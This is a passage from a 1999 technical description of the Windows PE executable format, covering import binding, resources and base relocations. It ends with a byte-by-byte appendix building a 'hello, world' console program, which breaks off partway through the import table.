the 'OriginalFirstThunk' in the IMAGE_IMPORT_DESCRIPTOR to 0 and create
only the 'FirstThunk'-array. Obviously, such import directories cannot
be bound (else the necessary information to re-fix the imports were
lost - you couldn't find the function names). In this case, you will
have to follow the 'FirstThunk'-array to get the imported symbol names,
and you will never have pre-patched entry point addresses. I have found
a TIS document ([6]) describing the import directory in a way that is
compatible to this bug, so that paper may be the origin of the bug.
The TIS document specifies:
IMPORT FLAGS
TIME/DATE STAMP
MAJOR VERSION - MINOR VERSION
NAME RVA
IMPORT LOOKUP TABLE RVA
IMPORT ADDRESS TABLE RVA
as opposed to the structure used elsewhere:
OriginalFirstThunk
TimeDateStamp
ForwarderChain

http://www.instinct.org/fravia/pe.txt (21 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

Name
FirstThunk

The last tweak about the import directories is the so-called "new style"
binding (it is described in [3]), which can also be done with the
"bind"-utility. When this is used, the 'TimeDateStamp' is set to
all-bits-1 and there is no forwarderchain; all imported symbols get their
address patched, whether they are forwarded or not. Still, you need to
know the DLLs' version, and you need to distinguish forwarded symbols
from ordinary ones. For this purpose, the
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT directory is created. This will, as
far as I could find out, *not* be in a section but in the header, after
the section headers and before the first section. (Hey, I didn't invent
this, I'm only describing it!)
This directory tells you, for each used DLL, from which other DLLs there
are forwarded exports.
The structure is an IMAGE_BOUND_IMPORT_DESCRIPTOR, comprising (in this
order):
A 32-bit number, giving you the 'TimeDateStamp' of the DLL;
a 16-bit-number 'OffsetModuleName', being the offset from the beginning
of the directory to the 0-terminated name of the DLL;
a 16-bit-number 'NumberOfModuleForwarderRefs' giving you the number of
DLLs that this DLL uses for its forwarders.

Immediatly following this struct you find 'NumberOfModuleForwarderRefs'


structs that tell you the names and versions of the DLLs that this DLL
forwards from. These structs are 'IMAGE_BOUND_FORWARDER_REF's:
A 32-bit-number 'TimeDateStamp';
a 16-bit-number 'OffsetModuleName', being the offset from the beginning
of the directory to the 0-terminated name of the forwarded-from DLL;
16 unused bits.

Following the 'IMAGE_BOUND_FORWARDER_REF's is the next


'IMAGE_BOUND_IMPORT_DESCRIPTOR' and so on; the list is terminated by an
all-0-bits-IMAGE_BOUND_IMPORT_DESCRIPTOR.

Sorry for the inconvenience, but that's what it looks like :-)

Now, if you have a new-bound import directory, you load all the DLLs,
use the directory pointer IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT to find the
IMAGE_BOUND_IMPORT_DESCRIPTOR, scan through it and check if the
'TimeDateStamp's of the loaded DLLs match the ones given in this
directory. If not, fix them in the 'FirstThunk'-array of the import
directory.

resources
---------
The resources, such as dialog boxes, menus, icons and so on, are stored
in the data directory pointed to by IMAGE_DIRECTORY_ENTRY_RESOURCE. It
is in a section that has, at least, the bits
'IMAGE_SCN_CNT_INITIALIZED_DATA' and 'IMAGE_SCN_MEM_READ' set.

A resource base is a 'IMAGE_RESOURCE_DIRECTORY'; it contains several


'IMAGE_RESOURCE_DIRECTORY_ENTRY's each of which in turn may point to a
'IMAGE_RESOURCE_DIRECTORY'. This way, you get a tree of
'IMAGE_RESOURCE_DIRECTORY's with 'IMAGE_RESOURCE_DIRECTORY_ENTRY's as
leafs; these leafs point to the actual resource data.

http://www.instinct.org/fravia/pe.txt (22 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

In real life, the situation is somewhat relaxed. Normally you won't find
convoluted trees you can't possibly sort out.
The hierarchy is, normally, like this: one directory is the root. It
points to directories, one for each resource type. These directories
point to subdirectories, each of which will have a name or an ID and
point to a directory of the languages provided for this resource; for
each language you will find one resource entry, which will finally point
to the data. (Note that multi-language-resources don't work on
Win95, which always uses the same resource if it is available in several
languages - I didn't check which one, but I guess it's the first it
encounters. They do work on NT.)

The tree, without the pointer to the data, may look like this:

(root)
|
+----------------+------------------+
| | |
menu dialog icon
| | |
+-----+-----+ +-+----+ +-+----+----+
| | | | | | |
"main" "popup" 0x10 "maindlg" 0x100 0x110 0x120
| | | | | | |
+---+-+ | | | | | |
| | default english default def. def. def.
german english

A IMAGE_RESOURCE_DIRECTORY comprises:
32 bits of unused flags called 'Characteristics';
32 bits 'TimeDateStamp' (again in the common time_t representation),
giving you the time the resource was created (if the entry is set);
16 bits 'MajorVersion' and 16 bits 'MinorVersion', thusly allowing you
to maintain several versions of the resource;
16 bits 'NumberOfNamedEntries' and another 16 bits 'NumberOfIdEntries'.

Immediatly following such a structure are


'NumberOfNamedEntries'+'NumberOfIdEntries' structs which are of the
format 'IMAGE_RESOURCE_DIRECTORY_ENTRY', those with the names coming first.
They may point to further 'IMAGE_RESOURCE_DIRECTORY's or they point to
the actual resource data.
A IMAGE_RESOURCE_DIRECTORY_ENTRY consists of:
32 bits giving you the id of the resource or the directory it describes;
32 bits offset to the data or offset to the next sub-directory.

The meaning of the id depends on the level in the tree; the id may be a
number (if the hi-bit is clear) or a name (if the hi-bit is set). If it
is a name, the lower 31 bits are the offset from the beginning of the
resource section's raw data to the name (the name consists of 16 bits
length and trailing wide characters, in unicode, not 0-terminated).

If you are in the root-directory, the id, if it is a number, is the


resource-type:
1: cursor
2: bitmap
3: icon
4: menu
5: dialog
6: string table

http://www.instinct.org/fravia/pe.txt (23 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

7: font directory
8: font
9: accelerators
10: unformatted resource data
11: message table
12: group cursor
14: group icon
16: version information
Any other number is user-defined. Any resource-type with a type-name is
always user-defined.

If you are one level deeper, the id is the resource-id (or resource-
name).

If you are another level deeper, the id must be a number, and it is the
language-id of the specific instance of the resource; for example, you
can have the same dialog in australian english, canadian french and
swiss german localized forms, and they all share the same resource-id.
The system will choose the dialog to load based on the thread's locale,
which in turn will usually reflect the user's "regional setting".
(If the resource cannot be found for the thread locale, the system will
first try to find a resource for the locale using a neutral sublanguage,
e.g. it will look for standard french instead of the user's canadian
french; if it still can't be found, the instance with the smallest
language id will be used. As noted, all this works only on NT.)
To decipher the language id, split it into the primary language id and
the sublanguage id using the macros PRIMARYLANGID() and SUBLANGID(),
giving you the bits 0 to 9 or 10 to 15, respectivly. The values are
defined in the file "winresrc.h".
Language-resources are only supported for accelerators, dialogs, menus,
rcdata or stringtables; other resource-types should be
LANG_NEUTRAL/SUBLANG_NEUTRAL.

To find out whether the next level below a resource directory is another
directory, you inspect the hi-bit of the offset. If it is set, the
remaining 31 bits are the offset from the beginning of the resource
section's raw data to the next directory, again in the format
IMAGE_RESOURCE_DIRECTORY with trailing IMAGE_RESOURCE_DIRECTORY_ENTRYs.

If the bit is clear, the offset is the distance from the beginning of
the resource section's raw data to the resource's raw data description,
a IMAGE_RESOURCE_DATA_ENTRY. It consists of 32 bits 'OffsetToData' (the
offset to the raw data, counting from the beginning of the resource
section's raw data), 32 bits of 'Size' of the data, 32 bits 'CodePage'
and 32 unused bits.
(The use of codepages is discouraged, you should use the 'language'-
feature to support multiple locales.)

The raw data format depends on the resource type; descriptions can be
found in the MS SDK documentation. Note that any string in resources is
always in UNICODE except for user defined resources, which are in the
format the developer chooses, obviously.

relocations
-----------
The last data directory I will describe is the base relocation
directory. It is pointed to by the IMAGE_DIRECTORY_ENTRY_BASERELOC entry
in the data directories of the optional header. It is typically
contained in a section if its own, with a name like ".reloc" and the

http://www.instinct.org/fravia/pe.txt (24 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

bits IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE and


IMAGE_SCN_MEM_READ set.

The relocation data is needed by the loader if the image cannot be


loaded to the preferred load address 'ImageBase' mentioned in the
optional header. In this case, the fixed addresses supplied by the
linker are no longer valid, and the loader has to apply fixups for
absolute addresses used for locations of static variables, string
literals and so on.

The relocation directory is a sequence of chunks. Each chunk contains


the relocation information for 4 KB of the image. A chunk starts with a
'IMAGE_BASE_RELOCATION' struct. It consists of 32 bits 'VirtualAddress'
and 32 bits 'SizeOfBlock'. It is followed by the chunk's actual
relocation data, being 16 bits each.
The 'VirtualAddress' is the base RVA that the relocations of this chunk
need to be applied to; the 'SizeOfBlock' is the size of the entire chunk
in bytes.
The number of trailing relocations is
('SizeOfBlock'-sizeof(IMAGE_BASE_RELOCATION))/2
The relocation information ends when you encounter a
IMAGE_BASE_RELOCATION struct with a 'VirtualAddress' of 0.

Each 16-bit-relocation information consists of the relocation position


in the lower 12 bits and a relocation type in the high 4 bits. To get
the relocation RVA, you need to add the IMAGE_BASE_RELOCATION's
'VirtualAddress' to the 12-bit-position. The type is one of:
IMAGE_REL_BASED_ABSOLUTE (0)
This is a no-op; it is used to align the chunk to a 32-bits-
border. The position should be 0.
IMAGE_REL_BASED_HIGH (1)
The high 16 bits of the relocation must be applied to the 16
bits of the WORD pointed to by the offset, which is the high
word of a 32-bit-DWORD.
IMAGE_REL_BASED_LOW (2)
The low 16 bits of the relocation must be applied to the 16
bits of the WORD pointed to by the offset, which is the low
word of a 32-bit-DWORD.
IMAGE_REL_BASED_HIGHLOW (3)
The entire 32-bit-relocation must be applied to the entire 32
bits in question. This (and the no-op '0') is the only
relocation type I've actually found in binaries.
IMAGE_REL_BASED_HIGHADJ (4)
This is one for the tough. Read yourself (from [6]) and make
sense out of it if you can:
"Highadjust. This fixup requires a full 32-bit value. The high
16-bits is located at Offset, and the low 16-bits is located in
the next Offset array element (this array element is included in
the Size field). The two need to be combined into a signed
variable. Add the 32-bit delta. Then add 0x8000 and store the
high 16-bits of the signed variable to the 16-bit field at
Offset."
IMAGE_REL_BASED_MIPS_JMPADDR (5)
Unknown
IMAGE_REL_BASED_SECTION (6)
Unknown
IMAGE_REL_BASED_REL32 (7)
Unknown

As an example, if you find the relocation information to be


0x00004000 (32 bits, starting RVA)

http://www.instinct.org/fravia/pe.txt (25 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

0x00000010 (32 bits, size of chunk)


0x3012 (16 bits reloc data)
0x3080 (16 bits reloc data)
0x30f6 (16 bits reloc data)
0x0000 (16 bits reloc data)
0x00000000 (next chunk's RVA)
0xff341234
you know the first chunk describes relocations starting at RVA 0x4000 and
is 16 bytes long. Because the header uses 8 bytes and one relocation
uses 2 bytes, there are (16-8)/2=4 relocations in the chunk.
The first relocation is to be applied to the DWORD at 0x4012, the next
to the DWORD at 0x4080, and the third to the DWORD at 0x40f6. The last
relocation is a no-op.
The next chunk has a RVA of 0 and finishes the list.

Now, how do you do a relocation?


You know that the image *is* relocated to the preferred load address
'ImageBase' in the optional header; you also know the address you did
load the image to. If they match, you don't need to do anything.
If they don't match, you calculate the difference
actual_base-preferred_base
and add that value (signed, it may be negative) to the relocation
positions, which you will find with the method described above.

Acknowledgments
---------------
Thanks go to David Binette for his debugging and proof-reading.
(The remaining errors are entirely mine.)
Also thanks to wotsit.org for letting me put the file on their site.

Copyright
---------
This text is copyright 1999 by B. Luevelsmeyer. It is freeware, and you
may use it for any purpose but on your own risk. It contains errors and
it is incomplete. You have been warned.

Bug reports
-----------
Send any bug reports (or other comments) to
bernd.luevelsmeyer@iplan.heitec.net

Versions
--------
You find the date of the current release at the top of the file.

1998-04-06
First public release

1998-07-29
Changed wrong "byte" to "word" for image version and subsystem version
Corrected error "stack is limited to 1 MB" (in fact it is not limited)
Corrected some typos

1999-03-15
Corrected export directory description, which was very incomplete
Reworded import directory description, which had been unclear
Corrected typos and did some rewording in other sections

http://www.instinct.org/fravia/pe.txt (26 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

Literature
----------

[1]
"Peering Inside the PE: A Tour of the Win32 Portable Executable File
Format" (M. Pietrek), in: Microsoft Systems Journal 3/1994

[2]
"Why to Use _declspec(dllimport) & _declspec(dllexport) In Code", MS
Knowledge Base Q132044

[3]
"Windows Q&A" (M. Pietrek), in: Microsoft Systems Journal 8/1995

[4]
"Writing Multiple-Language Resources", MS Knowledge Base Q89866

[5]
"The Portable Executable File Format from Top to Bottom" (Randy Kath),
in: Microsoft Developer Network

[6]
Tool Interface Standard (TIS) Formats Specification for Windows Version
1.0 (Intel Order Number 241597, Intel Corporation 1993)

Appendix: hello world


---------------------
In this appendix I will show how to make programs by hand. The example
will use Intel-assembly, because I don't speak DEC Alpha.

The program will be the equivalent of

#include <stdio.h>
int main(void)
{
puts(hello,world);
return 0;
}

First, I translate it to use Win32 functions instead of the C runtime:

#define STD_OUTPUT_HANDLE -11UL


#define hello "hello, world\n"

__declspec(dllimport) unsigned long __stdcall


GetStdHandle(unsigned long hdl);

__declspec(dllimport) unsigned long __stdcall


WriteConsoleA(unsigned long hConsoleOutput,
const void *buffer,
unsigned long chrs,
unsigned long *written,
unsigned long unused
);

static unsigned long written;

void startup(void)

http://www.instinct.org/fravia/pe.txt (27 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

{
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE),hello,sizeof(hello)-1,&written,0);
return;
}

Now I will fumble out the assembly:


startup:
; parameters for WriteConsole(), backwards
6A 00 push 0x00000000
68 ?? ?? ?? ?? push offset _written
6A 0D push 0x0000000d
68 ?? ?? ?? ?? push offset hello
; parameter for GetStdHandle()
6A F5 push 0xfffffff5
2E FF 15 ?? ?? ?? ?? call dword ptr cs:__imp__GetStdHandle@4
; result is last parameter for WriteConsole()
50 push eax
2E FF 15 ?? ?? ?? ?? call dword ptr cs:__imp__WriteConsoleA@20
C3 ret

hello:
68 65 6C 6C 6F 2C 20 77 6F 72 6C 64 0A "hello, world\n"
_written:
00 00 00 00

That was the compiler part. Anyone can do that. From now on we play
linker, which is much more interesting :-)

I need to find the functions WriteConsoleA() and GetStdHandle(). They


happen to be in "kernel32.dll". (That was the 'import library' part.)

Now I can start to make the executable. Question marks will take the
place of yet-to-find-out values; they will be patched afterwards.

First the DOS-stub, starting at 0x0 and being 0x40 bytes long:
00 | 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30 | 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00
As you can see, this isn't really a MS-DOS program. It's just the header
with the signature "MZ" at the beginning and the e_lfanew pointing
immediatly after the header, without any code. That's because it isn't
intended to run on MS-DOS; it's just here because the specification
requires it.

Then the PE signature, starting at 0x40 and being 0x4 bytes long:
50 45 00 00

Now the file-header, which will start at byte 0x44 and is 0x14 bytes long:
Machine 4c 01 ; i386
NumberOfSections 02 00 ; code and data
TimeDateStamp 00 00 00 00 ; who cares?
PointerToSymbolTable 00 00 00 00 ; unused
NumberOfSymbols 00 00 00 00 ; unused
SizeOfOptionalHeader e0 00 ; constant
Characteristics 02 01 ; executable on 32-bit-machine

And the optional header, which will start at byte 0x58 and is 0x60 bytes long:
Magic 0b 01 ; constant
MajorLinkerVersion 00 ; I'm version 0.0 :-)
MinorLinkerVersion 00 ;

http://www.instinct.org/fravia/pe.txt (28 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

SizeOfCode 20 00 00 00 ; 32 bytes of code


SizeOfInitializedData ?? ?? ?? ?? ; yet to find out
SizeOfUninitializedData 00 00 00 00 ; we don't have a BSS
AddressOfEntryPoint ?? ?? ?? ?? ; yet to find out
BaseOfCode ?? ?? ?? ?? ; yet to find out
BaseOfData ?? ?? ?? ?? ; yet to find out
ImageBase 00 00 10 00 ; 1 MB, chosen arbitrarily
SectionAlignment 20 00 00 00 ; 32-bytes-alignment
FileAlignment 20 00 00 00 ; 32-bytes-alignment
MajorOperatingSystemVersion 04 00 ; NT 4.0
MinorOperatingSystemVersion 00 00 ;
MajorImageVersion 00 00 ; version 0.0
MinorImageVersion 00 00 ;
MajorSubsystemVersion 04 00 ; Win32 4.0
MinorSubsystemVersion 00 00 ;
Win32VersionValue 00 00 00 00 ; unused?
SizeOfImage ?? ?? ?? ?? ; yet to find out
SizeOfHeaders ?? ?? ?? ?? ; yet to find out
CheckSum 00 00 00 00 ; not used for non-drivers
Subsystem 03 00 ; Win32 console
DllCharacteristics 00 00 ; unused (not a DLL)
SizeOfStackReserve 00 00 10 00 ; 1 MB stack
SizeOfStackCommit 00 10 00 00 ; 4 KB to start with
SizeOfHeapReserve 00 00 10 00 ; 1 MB heap
SizeOfHeapCommit 00 10 00 00 ; 4 KB to start with
LoaderFlags 00 00 00 00 ; unknown
NumberOfRvaAndSizes 10 00 00 00 ; constant

As you can see, I plan to have only 2 sections, one for code and one for
all the rest (data, constants and import directory). There will be no
relocations and no other stuff like resources. Also I won't have a BSS
segment and stuff the variable 'written' into the initialized data.
The section alignment is the same in the file and in RAM (32 bytes);
this helps to keep the task easy, otherwise I'd have to calculate RVAs
back and forth too much.

Now we set up the data directories, beginning at byte 0xb8 and being 0x80 bytes long:
Address Size
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_EXPORT (0)
?? ?? ?? ?? ?? ?? ?? ?? ; IMAGE_DIRECTORY_ENTRY_IMPORT (1)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_SECURITY (4)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_DEBUG (6)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_TLS (9)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_IAT (12)
00 00 00 00 00 00 00 00 ; 13
00 00 00 00 00 00 00 00 ; 14
00 00 00 00 00 00 00 00 ; 15
Only the import directory is in use.

Next are the section headers. First we make the code section, which will
contain the above mentioned assembly. It is 32 bytes long, and so will
be the code section. The header begins at 0x138 and is 0x28 bytes long:

Name 2e 63 6f 64 65 00 00 00 ; ".code"

http://www.instinct.org/fravia/pe.txt (29 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

VirtualSize 00 00 00 00 ; unused
VirtualAddress ?? ?? ?? ?? ; yet to find out
SizeOfRawData 20 00 00 00 ; size of code
PointerToRawData ?? ?? ?? ?? ; yet to find out
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 20 00 00 60 ; code, executable, readable

The second section will contain the data. The header begins at 0x160 and
is 0x28 bytes long:

Name 2e 64 61 74 61 00 00 00 ; ".data"
VirtualSize 00 00 00 00 ; unused
VirtualAddress ?? ?? ?? ?? ; yet to find out
SizeOfRawData ?? ?? ?? ?? ; yet to find out
PointerToRawData ?? ?? ?? ?? ; yet to find out
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 40 00 00 c0 ; initialized, readable, writeable

The next byte is 0x188, but the sections need to be aligned to 32 bytes
(because I chose so), so we need padding bytes up to 0x1a0:

00 00 00 00 00 00 ; padding
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

Now the first section, being the code section with the above mentioned
assembly, *does* come. It begins at byte 0x1a0 and is 0x20 bytes long:
6A 00 ; push 0x00000000
68 ?? ?? ?? ?? ; push offset _written
6A 0D ; push 0x0000000d
68 ?? ?? ?? ?? ; push offset hello_string
6A F5 ; push 0xfffffff5
2E FF 15 ?? ?? ?? ?? ; call dword ptr cs:__imp__GetStdHandle@4
50 ; push eax
2E FF 15 ?? ?? ?? ?? ; call dword ptr cs:__imp__WriteConsoleA@20
C3 ; ret

Because of the previous section's length we don't need any padding


before the next section (data), and here it comes, beginning at 0x1c0:

68 65 6C 6C 6F 2C 20 77 6F 72 6C 64 0A ; "hello, world\n"
00 00 00 ; padding to align _written
00 00 00 00 ; _written

Now all that's left is the import directory. It will import 2 functions
from "kernel32.dll", and it's immediatly following the variables in the
same section. First we will align it to 32 bytes:

00 00 00 00 00 00 00 00 00 00 00 00 ; padding

It begins at 0x1e0 with the IMAGE_IMPORT_DESCRIPTOR:


OriginalFirstThunk ?? ?? ?? ?? ; yet to find out
TimeDateStamp 00 00 00 00 ; unbound

http://www.instinct.org/fravia/pe.txt (30 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

ForwarderChain ff ff ff ff ; no forwarders
Name ?? ?? ?? ?? ; yet to find out
FirstThunk ?? ?? ?? ?? ; yet to find out

We need to terminate the import-directory with a 0-bytes-entry (we are at 0x1f4):


OriginalFirstThunk 00 00 00 00 ; terminator
TimeDateStamp 00 00 00 00 ;
ForwarderChain 00 00 00 00 ;
Name 00 00 00 00 ;
FirstThunk 00 00 00 00 ;

Now there's the DLL name left, and the 2 thunks, and the thunk-data, and
the function names. But we will be finished real soon now!

The DLL name, 0-terminated, beginning at 0x208:


6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 ; "kernel32.dll"
00 00 00 ; padding to 32-bit-boundary

The original first thunk, starting at 0x218:


AddressOfData ?? ?? ?? ?? ; RVA to function name "WriteConsoleA"
AddressOfData ?? ?? ?? ?? ; RVA to function name "GetStdHandle"
00 00 00 00 ; terminator

The first thunk is exactly the same list and starts at 0x224:
(__imp__WriteConsoleA@20, at 0x224)
AddressOfData ?? ?? ?? ?? ; RVA to function name "WriteConsoleA"
(__imp__GetStdHandle@4, at 0x228)
AddressOfData ?? ?? ?? ?? ; RVA to function name "GetStdHandle"
00 00 00 00 ; terminator

Now what's left is the two function names in the shape of an


IMAGE_IMPORT_BY_NAME. We are at byte 0x230.
01 00 ; ordinal, need not be correct
57 72 69 74 65 43 6f 6e 73 6f 6c 65 41 00 ; "WriteConsoleA"
02 00 ; ordinal, need not be correct
47 65 74 53 74 64 48 61 6e 64 6c 65 00 ; "GetStdHandle"

Ok, that's about all. The next byte, which we don't really need, is
0x24f. We need to fill the section with padding up to 0x260:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; padding
00

------------

We are done. Now that we know all the byte-offsets, we can apply fixups
to all those addresses and sizes that were indicated as "unknown" with
'??'-marks.
I won't force you to read that step-by-step (it's quite
straightforward), and simply present the result:

------------

DOS-header, starting at 0x0:


00 | 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30 | 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00

signature, starting at 0x40:


50 45 00 00

http://www.instinct.org/fravia/pe.txt (31 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

file-header, starting at 0x44:


Machine 4c 01 ; i386
NumberOfSections 02 00 ; code and data
TimeDateStamp 00 00 00 00 ; who cares?
PointerToSymbolTable 00 00 00 00 ; unused
NumberOfSymbols 00 00 00 00 ; unused
SizeOfOptionalHeader e0 00 ; constant
Characteristics 02 01 ; executable on 32-bit-machine

optional header, starting at 0x58:


Magic 0b 01 ; constant
MajorLinkerVersion 00 ; I'm version 0.0 :-)
MinorLinkerVersion 00 ;
SizeOfCode 20 00 00 00 ; 32 bytes of code
SizeOfInitializedData a0 00 00 00 ; data section size
SizeOfUninitializedData 00 00 00 00 ; we don't have a BSS
AddressOfEntryPoint a0 01 00 00 ; beginning of code section
BaseOfCode a0 01 00 00 ; RVA to code section
BaseOfData c0 01 00 00 ; RVA to data section
ImageBase 00 00 10 00 ; 1 MB, chosen arbitrarily
SectionAlignment 20 00 00 00 ; 32-bytes-alignment
FileAlignment 20 00 00 00 ; 32-bytes-alignment
MajorOperatingSystemVersion 04 00 ; NT 4.0
MinorOperatingSystemVersion 00 00 ;
MajorImageVersion 00 00 ; version 0.0
MinorImageVersion 00 00 ;
MajorSubsystemVersion 04 00 ; Win32 4.0
MinorSubsystemVersion 00 00 ;
Win32VersionValue 00 00 00 00 ; unused?
SizeOfImage c0 00 00 00 ; sum of all section sizes
SizeOfHeaders a0 01 00 00 ; offset to 1st section
CheckSum 00 00 00 00 ; not used for non-drivers
Subsystem 03 00 ; Win32 console
DllCharacteristics 00 00 ; unused (not a DLL)
SizeOfStackReserve 00 00 10 00 ; 1 MB stack
SizeOfStackCommit 00 10 00 00 ; 4 KB to start with
SizeOfHeapReserve 00 00 10 00 ; 1 MB heap
SizeOfHeapCommit 00 10 00 00 ; 4 KB to start with
LoaderFlags 00 00 00 00 ; unknown
NumberOfRvaAndSizes 10 00 00 00 ; constant

data directories, starting at 0xb8:


Address Size
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_EXPORT (0)
e0 01 00 00 6f 00 00 00 ; IMAGE_DIRECTORY_ENTRY_IMPORT (1)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_SECURITY (4)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_DEBUG (6)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_TLS (9)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_IAT (12)
00 00 00 00 00 00 00 00 ; 13
00 00 00 00 00 00 00 00 ; 14
00 00 00 00 00 00 00 00 ; 15

section header (code), starting at 0x138:

http://www.instinct.org/fravia/pe.txt (32 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

Name 2e 63 6f 64 65 00 00 00 ; ".code"
VirtualSize 00 00 00 00 ; unused
VirtualAddress a0 01 00 00 ; RVA to code section
SizeOfRawData 20 00 00 00 ; size of code
PointerToRawData a0 01 00 00 ; file offset to code section
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 20 00 00 60 ; code, executable, readable

section header (data), starting at 0x160:


Name 2e 64 61 74 61 00 00 00 ; ".data"
VirtualSize 00 00 00 00 ; unused
VirtualAddress c0 01 00 00 ; RVA to data section
SizeOfRawData a0 00 00 00 ; size of data section
PointerToRawData c0 01 00 00 ; file offset to data section
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 40 00 00 c0 ; initialized, readable, writeable

(padding)
00 00 00 00 00 00 ; padding
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

code section, starting at 0x1a0:


6A 00 ; push 0x00000000
68 d0 01 10 00 ; push offset _written
6A 0D ; push 0x0000000d
68 c0 01 10 00 ; push offset hello_string
6A F5 ; push 0xfffffff5
2E FF 15 28 02 10 00 ; call dword ptr cs:__imp__GetStdHandle@4
50 ; push eax
2E FF 15 24 02 10 00 ; call dword ptr cs:__imp__WriteConsoleA@20
C3 ; ret

data section, beginning at 0x1c0:


68 65 6C 6C 6F 2C 20 77 6F 72 6C 64 0A ; "hello, world\n"
00 00 00 ; padding to align _written
00 00 00 00 ; _written
padding:
00 00 00 00 00 00 00 00 00 00 00 00 ; padding
IMAGE_IMPORT_DESCRIPTOR, starting at 0x1e0:
OriginalFirstThunk 18 02 00 00 ; RVA to orig. 1st thunk
TimeDateStamp 00 00 00 00 ; unbound
ForwarderChain ff ff ff ff ; no forwarders
Name 08 02 00 00 ; RVA to DLL name
FirstThunk 24 02 00 00 ; RVA to 1st thunk
terminator (0x1f4):
OriginalFirstThunk 00 00 00 00 ; terminator
TimeDateStamp 00 00 00 00 ;
ForwarderChain 00 00 00 00 ;
Name 00 00 00 00 ;
FirstThunk 00 00 00 00 ;
The DLL name, at 0x208:
6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 ; "kernel32.dll"
00 00 00 ; padding to 32-bit-boundary

http://www.instinct.org/fravia/pe.txt (33 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

original first thunk, starting at 0x218:


AddressOfData 30 02 00 00 ; RVA to function name "WriteConsoleA"
AddressOfData 40 02 00 00 ; RVA to function name "GetStdHandle"
00 00 00 00 ; terminator
first thunk, starting at 0x224:
AddressOfData 30 02 00 00 ; RVA to function name "WriteConsoleA"
AddressOfData 40 02 00 00 ; RVA to function name "GetStdHandle"
00 00 00 00 ; terminator
IMAGE_IMPORT_BY_NAME, at byte 0x230:
